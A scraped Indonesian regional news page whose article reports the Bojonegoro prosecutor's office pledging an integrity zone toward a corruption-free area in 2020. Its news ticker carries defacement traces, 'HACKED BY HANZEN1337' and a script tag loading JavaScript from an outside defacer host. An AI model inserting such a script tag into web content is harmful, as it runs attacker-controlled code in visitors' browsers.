News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Kejaksaan Negeri Bojonegoro Canangkan Zona Integritas menuju Wilayah Bebas Korupsi

Kejaksaan Negeri Bojonegoro Canangkan Zona Integritas menuju Wilayah Bebas Korupsi

Bojonegoro - Kejaksaan Negeri (Kejari) Bojonegoro, pada Kamis (13/02/2020 ) lakukan deklarasi Pencanangan Zona Integritas menuju Wilayah Bebas Korupsi (WBK) yang dirangkai dengan penandatanganan komitmen bersama dalam rangka mewujudkan wilayah bebas korupsi di Kejaksaan Negeri Bojonegoro.
 
 
Kegiatan yang dibelar di Aula Kejaksaan Negeri Bojonegoro tersebut dihadiri oleh Bupati Bojonegoro, DR Hj Anna Muawanah; Dandim 0813 Bojonegoro, Letkol Inf Bambang Hariyanto; Kepala Pengadilan Negeri Bojonegoro dan diikuti oleh seluruh jaksa dan pegawai Kejaksaan Negeri Bojonegoro
 
 
 
Bupati Bojonegoro, DR Hj Anna Muawanah, saat hadiri deklarasi Pencanangan Zona Integritas menuju WBK di Kejaksaan Negeri Bojonegoro. Kamis (13/02/2020)
 
Kepala Kejaksaan Negeri (Kajari) Bojonegoro, Sutikno SH MH dalam arahanya kepada seluruh jajaran pegawai Kejaksaan negei Bojonegoro, yang tersusun pada masing-masing pokja, untuk segera merealisasikan rencana aksi dalam rangka pencanangan zona integritas sebagai bentuk kesiapan Kejaksaan Negeri Bojonegoro menuju WBK.
 
Menurut Kajari, bahwa pelaksaan Wilayah Bebas Korupsi (WBK) adalah merupakan kegiatan pembangunan di 6 area, yakni tentang manajement perubahan, penguatan tatalaksana, management sumber daya manusia (SDM) dan akuntabiltas kerja, pentingnya penguatan pengawasan kinerja dan peningkatan pelayanan publik.
 
"Saya berharap dalam lingkungan Kantor Kejaksaan Negeri Bojonegoro akan menjadi zona bebas korupsi. Di mana seluruh pejabat funsional beserta, pegawai tata usaha diwajibkan menandatangani sekaligus membacakan ikrar pakta itegritas," kata Kajari Bojonegoro, Sutikno SH MH.
 
 
Kajari juga menyampaikan bahwa ikrar pakta itegritas merupakan syarat dan rangkaian dari kegiatan pencanangan zona integritas menuju wilayah bebas korupsi di lingkup Kantor Kejari Bojonegoro.
 
"Saya berharap, semua jajaran yang berada di lingkup Kejari Bojonegoro untuk berkomitmen serta mematuhi ketentuan sebagaimana yang tertuang dalam pakta integritas yang telah ditandatangani, sehingga zona integritas menuju wilayah bebas korupsi di internal Kejari Bojonegoro akan terwujud." kata Kajari Bojonegoro, Sutikno SH MH.
 
 
 
Sementara Bupati Bojonegoro, Anna Muawannah menyampaikan bahwa atas nama Pemerintah Kabupaten Bojonegoro dirinya sangat mengapresiasi pencanangan Zona Integritas di lingkup Kejaksaan Negeri Bojonegoro.
 
" Zona Integritas merupakan filter pada diri kita, bahwa kita sudah mencanangkan diri untuk berintegrasi dalam melayani masyarakat, terhadap peran keadilan." kata Bupati.
 
Pada kesempatan tersebut, Bupati berharap dan meminta tolong untuk terus dibimbing terhadap pelaksanaan kebijakan khususnya tentang penggunaan anggaran, baik perencanaan, pelaksanaan dan pelaporan.
 
”Berilah bimbingan tentang penggunaan anggaran, mulai perencanaan, pelaksanaan hingga pelaporan.” tutur Bupati. (dan/imm)
(dan/imm)
 
Berita Terkait
1783870820.0312 at start, 1783870820.6791 at end, 0.64787197113037 sec elapsed